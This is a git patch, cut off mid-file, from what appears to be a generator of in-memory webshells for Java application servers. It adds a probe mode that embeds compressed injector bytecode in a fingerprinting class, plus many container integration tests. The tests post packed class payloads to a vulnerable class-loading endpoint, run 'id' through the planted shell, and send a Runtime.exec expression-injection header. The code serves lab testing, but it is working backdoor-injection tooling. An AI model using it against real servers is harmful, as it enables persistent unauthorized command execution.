From 92e8b83313baafadd4319cea93d2aee8351dde98 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 6 Dec 2025 14:13:21 +0800 Subject: [PATCH] feat: support probe mode --- .../javaweb/memshell/MemShellGenerator.java | 25 +++++++ .../javaweb/memshell/config/ShellConfig.java | 7 +- .../memshell/server/AbstractServer.java | 4 ++ .../probe/config/ResponseBodyConfig.java | 9 +++ .../response/ResponseBodyGenerator.java | 15 +++-- .../reajason/javaweb/utils/CommonUtil.java | 9 ++- .../javaweb/integration/ProbeAssertion.java | 19 +++--- .../javaweb/integration/ShellAssertion.java | 55 ++++++++++++++-- .../reajason/javaweb/integration/VulTool.java | 6 +- .../glassfish/GlassFish3ContainerTest.java | 11 ++++ .../glassfish/GlassFish4ContainerTest.java | 11 ++++ .../glassfish/GlassFish501ContainerTest.java | 11 ++++ .../glassfish/GlassFish510ContainerTest.java | 11 ++++ .../glassfish/GlassFish6ContainerTest.java | 15 ++++- .../glassfish/GlassFish7ContainerTest.java | 13 +++- .../jbossas/Jboss423ContainerTest.java | 12 ++++ .../jbossas/Jboss510ContainerTest.java | 12 ++++ .../jbossas/Jboss610ContainerTest.java | 12 ++++ .../jbossas/Jboss711ContainerTest.java | 12 ++++ .../jbosseap/JbossEap6ContainerTest.java | 12 ++++ .../jbosseap/JbossEap7ContainerTest.java | 11 ++++ .../memshell/jetty/Jetty10ContainerTest.java | 13 ++++ .../memshell/jetty/Jetty11ContainerTest.java | 13 ++++ .../jetty/Jetty12ee10ContainerTest.java | 12 ++++ .../jetty/Jetty12ee11ContainerTest.java | 12 ++++ .../jetty/Jetty12ee8ContainerTest.java | 12 ++++ .../jetty/Jetty12ee9ContainerTest.java | 12 ++++ .../memshell/jetty/Jetty61ContainerTest.java | 12 ++++ .../memshell/jetty/Jetty75ContainerTest.java | 12 ++++ .../memshell/jetty/Jetty76ContainerTest.java | 12 ++++ .../memshell/jetty/Jetty81ContainerTest.java | 12 ++++ .../memshell/jetty/Jetty92ContainerTest.java | 13 ++++ .../memshell/jetty/Jetty93ContainerTest.java | 13 ++++ .../memshell/jetty/Jetty94ContainerTest.java | 13 ++++ .../payara/Payara5201ContainerTest.java | 11 ++++ .../payara/Payara520225ContainerTest.java | 11 ++++ .../payara/Payara620222ContainerTest.java | 17 +++-- .../resin/Resin3116ContainerTest.java | 10 +++ .../memshell/resin/Resin318ContainerTest.java | 10 +++ .../resin/Resin4058ContainerTest.java | 10 +++ .../resin/Resin4067ContainerTest.java | 10 +++ .../SpringBoot1ContainerTest.java | 10 +++ .../SpringBoot2ContainerTest.java | 10 +++ .../SpringBoot3ContainerTest.java | 11 ++++ .../tomcat/Tomcat10ContainerTest.java | 15 +++++ .../tomcat/Tomcat11ContainerTest.java | 15 +++++ .../tomcat/Tomcat11JRE21ContainerTest.java | 15 +++++ .../memshell/tomcat/Tomcat5ContainerTest.java | 11 ++++ .../memshell/tomcat/Tomcat6ContainerTest.java | 11 ++++ .../memshell/tomcat/Tomcat7ContainerTest.java | 11 ++++ .../Tomcat8CommandEncryptorContainerTest.java | 6 +- .../memshell/tomcat/Tomcat8ContainerTest.java | 10 +++ .../memshell/tomcat/Tomcat9ContainerTest.java | 11 ++++ .../weblogic/WebLogic1036ContainerTest.java | 11 ++++ .../weblogic/WebLogic12214ContainerTest.java | 11 ++++ .../weblogic/WebLogic14110ContainerTest.java | 11 ++++ .../websphere/WebSphere855ContainerTest.java | 11 ++++ .../websphere/WebSphere905ContainerTest.java | 10 +++ .../wildfly/Wildfly18ContainerTest.java | 11 ++++ .../wildfly/Wildfly23ContainerTest.java | 11 ++++ .../wildfly/Wildfly30ContainerTest.java | 11 ++++ .../wildfly/Wildfly36ContainerTest.java | 11 ++++ .../wildfly/Wildfly9ContainerTest.java | 11 ++++ .../glassfish/GlassFish7ContainerTest.java | 2 +- .../probe/jetty/Jetty12ee10ContainerTest.java | 9 +++ .../probe/jetty/Jetty12ee11ContainerTest.java | 65 +++++++++++++++++++ .../probe/jetty/Jetty12ee8ContainerTest.java | 15 +++++ .../probe/jetty/Jetty12ee9ContainerTest.java | 9 +++ .../BigIntegerClassLoaderController.java | 24 +++++++ .../BigIntegerClassLoaderController.java | 24 +++++++ .../BigIntegerClassLoaderController.java | 24 +++++++ .../jakarta/BigIntegerClassLaoderServlet.java | 3 +- .../java/BigIntegerClassLaoderServlet.java | 3 +- vul/vul-webapp/src/main/java/TestServlet.java | 1 - .../components/memshell/main-config-card.tsx | 16 +++++ web/app/i18n/common/en.json | 2 +- web/app/i18n/common/zh-CN.json | 2 +- web/bun.lock | 4 +- 78 files changed, 929 insertions(+), 51 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java create mode 100644 vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 3078e810..520d8dae 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; +import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator; import com.reajason.javaweb.utils.CommonUtil; +import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -59,6 +65,25 @@ public class MemShellGenerator { InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); + if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { + ProbeConfig probeConfig = ProbeConfig.builder() + .shellClassName(injectorConfig.getInjectorClassName() + "1") + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Bytecode) + .targetJreVersion(shellConfig.getTargetJreVersion()) + .byPassJavaModule(shellConfig.isByPassJavaModule()) + .shrink(shellConfig.isShrink()) + .debug(shellConfig.isDebug()) + .staticInitialize(injectorConfig.isStaticInitialize()) + .build(); + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(serverName) + .base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes))) + .build(); + injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes(); + injectorConfig.setInjectorClassName(probeConfig.getShellClassName()); + } + Map innerClassBytes = injectorGenerator.getInnerClassBytes(); return MemShellResult.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 7e226a5b..5ec889eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -55,6 +55,12 @@ public class ShellConfig { @Builder.Default private boolean debug = false; + /** + * 是否使用回显模式 + */ + @Builder.Default + private boolean probe = false; + /** * 是否启用缩小字节码 */ @@ -71,7 +77,6 @@ public class ShellConfig { return !debug; } - public boolean isJakarta() { return shellType.startsWith(ShellType.JAKARTA); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java index 43ced34b..8b77635e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.server; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; @@ -49,6 +50,9 @@ public abstract class AbstractServer { } public Pair, Class> getShellInjectorPair(String shellTool, String shellType) { + if (StringUtils.isBlank(shellTool)) { + throw new IllegalArgumentException("shellTool is required"); + } ToolMapping mapping = map.get(shellTool); if (mapping == null) { throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java index f3e59f55..8f8b8a8a 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java @@ -13,5 +13,14 @@ import lombok.experimental.SuperBuilder; @ToString public class ResponseBodyConfig extends ProbeContentConfig { private String server; + + /** + * 获取参数的请求头或请求参数名称 + */ private String reqParamName; + + /** + * 内置执行类加载的字节码 + */ + private String base64Bytes; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 0e94fa67..3571edf0 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -36,14 +36,19 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator getDataFromReqInterceptor = getDataFromReqInterceptor.class; Class writerClass = getWriterClass(); Class runnerClass = getRunnerClass(); - return buddy.redefine(writerClass) + DynamicType.Builder builder = buddy.redefine(writerClass) .name(probeConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion())) - .visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", - probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) - .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) - .to(getDataFromReqInterceptor).on(named("getDataFromReq"))) .visit(Advice.to(runnerClass).on(named("run"))); + if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) { + builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", + probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) + .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) + .to(getDataFromReqInterceptor).on(named("getDataFromReq"))); + } else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) { + builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes())); + } + return builder; } private Class getRunnerClass() { diff --git a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index b3f9c690..7ceb9f39 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -1,8 +1,9 @@ package com.reajason.javaweb.utils; +import lombok.SneakyThrows; + import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; -import java.io.IOException; import java.security.SecureRandom; import java.util.Arrays; import java.util.HashSet; @@ -45,7 +46,8 @@ public class CommonUtil { "Checker" }; - public static byte[] gzipCompress(byte[] data) throws IOException { + @SneakyThrows + public static byte[] gzipCompress(byte[] data) { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { gzip.write(data); @@ -53,7 +55,8 @@ public class CommonUtil { return out.toByteArray(); } - public static byte[] gzipDecompress(byte[] data) throws IOException { + @SneakyThrows + public static byte[] gzipDecompress(byte[] data) { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPInputStream gzip = new GZIPInputStream(new ByteArrayInputStream(data))) { byte[] buffer = new byte[1024]; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 363bcb37..15fecc88 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeMethod; import com.reajason.javaweb.probe.ProbeShellGenerator; @@ -38,12 +39,12 @@ public class ProbeAssertion { .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); RequestBody requestBody = new FormBody.Builder() - .add("data", probeResult.getShellBytesBase64Str()) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .add(reqParamName, DetectionTool.getServerDetection()) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertEquals(server, response.body().string()); @@ -67,12 +68,12 @@ public class ProbeAssertion { .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); RequestBody requestBody = new FormBody.Builder() - .add("data", probeResult.getShellBytesBase64Str()) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", "")) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertEquals(server, response.body().string()); @@ -95,14 +96,13 @@ public class ProbeAssertion { .reqParamName(headerName) .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); - String content = probeResult.getShellBytesBase64Str(); RequestBody requestBody = new FormBody.Builder() - .add("data", content) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "id") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertThat(response.body().string(), anyOf( @@ -127,14 +127,13 @@ public class ProbeAssertion { .reqParamName(headerName) .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); - String content = probeResult.getShellBytesBase64Str(); RequestBody requestBody = new FormBody.Builder() - .add("data", content) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertThat(response.body().string(), anyOf( diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index e19c22d3..db2e954c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.JarPacker; @@ -27,6 +28,7 @@ import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import org.hamcrest.Matchers; import org.testcontainers.containers.Container; import org.testcontainers.containers.GenericContainer; import org.testcontainers.utility.MountableFile; @@ -185,11 +187,7 @@ public class ShellAssertion { godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: - if (shellType.endsWith(ShellType.WEBSOCKET)) { - webSocketCommandIsOk(shellUrl, "id"); - } else { - commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); - } + commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id"); break; case Behinder: behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); @@ -227,11 +225,15 @@ public class ShellAssertion { } @SneakyThrows - public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { + public static void commandIsOk(String entrypoint, String shellType, String paramName, String payload) { + if (shellType.endsWith(ShellType.WEBSOCKET)) { + webSocketCommandIsOk(entrypoint, payload); + return; + } OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() - .addQueryParameter(shellConfig.getParamName(), payload) + .addQueryParameter(paramName, payload) .build(); Request request = new Request.Builder() .url(url) @@ -403,4 +405,43 @@ public class ShellAssertion { default -> throw new IllegalStateException("Unexpected value: " + packer); } } + + public static void testProbeInject(String url, String server, String serverVersion, String shellType, int targetJdkVersion) { + String shellTool = ShellTool.Command; + Packers packer = Packers.BigInteger; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellConfig shellConfig = ShellConfig.builder() + .server(server) + .serverVersion(serverVersion) + .shellType(shellType) + .shellTool(shellTool) + .targetJreVersion(targetJdkVersion) + .debug(false) + .probe(true) + .build(); + InjectorConfig injectorConfig = InjectorConfig.builder() + .urlPattern(urlPattern) + .staticInitialize(true) + .build(); + String paramName = "tomcatProbe" + shellType; + CommandConfig commandConfig = CommandConfig.builder() + .paramName(paramName) + .build(); + MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); + String content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + String res = VulTool.postIsOk(url + "/biginteger", content); + assertThat(res, anyOf( + Matchers.containsString("context: "), + Matchers.containsString("server: "), + Matchers.containsString("channel: ") + + )); + ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id"); + } + + public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) { + testProbeInject(url, server, null, shellType, targetJdkVersion); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 31d9347a..328f5ee1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -46,7 +46,7 @@ public class VulTool { } @SneakyThrows - public static void postIsOk(String uploadUrl, String data) { + public static String postIsOk(String uploadUrl, String data) { RequestBody requestBody = new FormBody.Builder() .add("data", data) .build(); @@ -56,8 +56,10 @@ public class VulTool { .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { - System.out.println(response.body().string()); + String res = response.body().string(); + System.out.println(res); Assertions.assertNotEquals(404, response.code()); + return res; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index e8b69f44..be30ecec 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public class GlassFish3ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index d5946783..e8b1c903 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public class GlassFish4ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index 90b2a35c..c0d81348 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,13 @@ public class GlassFish501ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 3b424ebc..ea148e71 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,13 @@ public class GlassFish510ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index 20ea2f0b..3990fa5f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -22,9 +24,7 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason @@ -66,7 +66,7 @@ public class GlassFish6ContainerTest { static void tearDown() { String logs = container.getLogs(); log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @@ -74,4 +74,13 @@ public class GlassFish6ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index 783623aa..be6154ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -46,7 +48,7 @@ public class GlassFish7ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -74,4 +76,13 @@ public class GlassFish7ContainerTest { void test(String imageName, String shellType, String shellTool, 